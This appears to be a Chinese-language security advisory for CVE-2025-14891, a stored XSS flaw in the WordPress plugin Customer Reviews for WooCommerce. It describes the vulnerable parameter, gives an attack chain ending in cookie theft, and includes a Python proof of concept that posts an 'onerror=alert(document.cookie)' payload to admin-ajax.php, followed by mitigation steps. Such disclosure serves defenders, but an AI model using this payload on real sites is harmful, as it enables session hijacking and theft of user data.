IPBUF安全漏洞报告
English
CVE-2025-14891 CVSS 6.4 中危

CVE-2025-14891 WordPress Customer Reviews for WooCommerce存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14891
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Customer Reviews for WooCommerce (WordPress插件)

相关标签

存储型XSSWordPress插件漏洞Customer Reviews for WooCommerceCVE-2025-14891跨站脚本攻击AJAX注入WordPress安全

漏洞概述

CVE-2025-14891是WordPress插件Customer Reviews for WooCommerce中的一个存储型跨站脚本(XSS)漏洞。该插件版本在5.93.1及之前的所有版本中,由于对'displayName'参数缺少充分的输入清理和输出转义处理,存在严重的安全隐患。攻击者可以利用此漏洞在网页中注入恶意JavaScript脚本,当其他用户访问包含恶意脚本的页面时,脚本将自动执行,可能导致会话劫持、敏感信息窃取或进一步的恶意操作。该漏洞需要认证用户(客户级别或更高权限)才能利用,但攻击者可以利用AJAX接口在无需完整认证的情况下触发漏洞利用。如果网站启用了访客结账功能,未认证攻击者也有可能利用此漏洞,但需要首先通过下单获取有效的表单ID。

技术细节

漏洞根源在于Customer Reviews for WooCommerce插件的AJAX处理函数(位于class-cr-local-forms-ajax.php第76行)未对用户提交的displayName参数进行适当的HTML转义处理。当用户提交评价时,displayName值被直接存储到数据库中,随后在表单展示页面(form-customer.php第19行)输出时也未进行输出转义。攻击者可以通过构造包含恶意JavaScript代码的displayName值(如:<img src=x onerror=alert(document.cookie)>)来触发XSS攻击。由于是存储型XSS,恶意脚本会被永久保存在数据库中,所有访问该评价页面的用户都会执行攻击者植入的脚本。攻击者需要知道有效的form ID才能利用此漏洞,正常情况下需要先在网站下单获得表单ID,但如果启用访客结账则可降低攻击门槛。

攻击链分析

STEP 1
步骤1
攻击者访问目标WordPress网站,找到Customer Reviews for WooCommerce插件的评论表单页面
STEP 2
步骤2
攻击者通过页面源码或下单流程获取有效的form ID(如果启用了访客结账,可直接利用)
STEP 3
步骤3
攻击者构造包含恶意JavaScript代码的displayName参数,通过AJAX接口(wp-admin/admin-ajax.php)提交伪造的评论
STEP 4
步骤4
由于插件未对displayName进行输入清理和输出转义,恶意脚本被存储到数据库中
STEP 5
步骤5
当其他用户访问包含该恶意评论的页面时,浏览器会执行攻击者植入的JavaScript代码
STEP 6
步骤6
恶意脚本执行后,攻击者可窃取用户Cookie、会话令牌或其他敏感信息,进而进行会话劫持或其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-14891 PoC - Stored XSS in Customer Reviews for WooCommerce # Target: WordPress site with Customer Reviews for WooCommerce plugin <= 5.93.1 def get_form_id(target_url, proxies=None): """Extract form ID from the reviews form page""" # Search for form IDs in page source response = requests.get(target_url, proxies=proxies, timeout=10) form_id_pattern = re.compile(r'cr-form-id[\'"\s]*:[\'"\s]*(\d+)') match = form_id_pattern.search(response.text) if match: return match.group(1) # Alternative pattern form_id_pattern2 = re.compile(r'name="formId"[^>]*value="(\d+)"') match = form_id_pattern2.search(response.text) if match: return match.group(1) return None def exploit_stored_xss(target_url, form_id, attacker_payload, proxies=None): """Exploit the stored XSS vulnerability via AJAX endpoint""" ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # XSS payload - can be customized based on attack objective xss_payload = '<img src=x onerror=alert(document.cookie)>' data = { 'action': 'cr_submit_review', # AJAX action endpoint 'formId': form_id, 'displayName': xss_payload, # Vulnerable parameter 'reviewText': 'Test review for CVE-2025-14891', 'rating': '5' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: response = requests.post(ajax_url, data=data, headers=headers, proxies=proxies, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") if 'success' in response.text.lower() or response.status_code == 200: print("[+] XSS payload submitted successfully!") print(f"[+] Payload will execute when review is displayed.") else: print("[-] Attack may have failed, check form ID or site configuration") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Usage example if __name__ == "__main__": target = "https://example-wordpress-site.com" form_id = "123" # Replace with actual form ID exploit_stored_xss(target, form_id, None)

影响范围

Customer Reviews for WooCommerce < 5.93.1(所有版本至5.93.1均受影响)

防御指南

临时缓解措施
在等待官方安全更新期间,可以考虑以下临时缓解措施:1) 禁用或限制访客提交评论功能;2) 启用WordPress安全插件(如Wordfence)进行实时监控和攻击拦截;3) 通过Web应用防火墙(WAF)规则过滤包含可疑HTML标签和JavaScript事件的请求;4) 临时禁用评论表单功能直到完成安全更新;5) 加强对AJAX接口的访问控制,限制未授权访问。需要注意的是,临时缓解措施可能影响网站功能,建议尽快完成插件升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表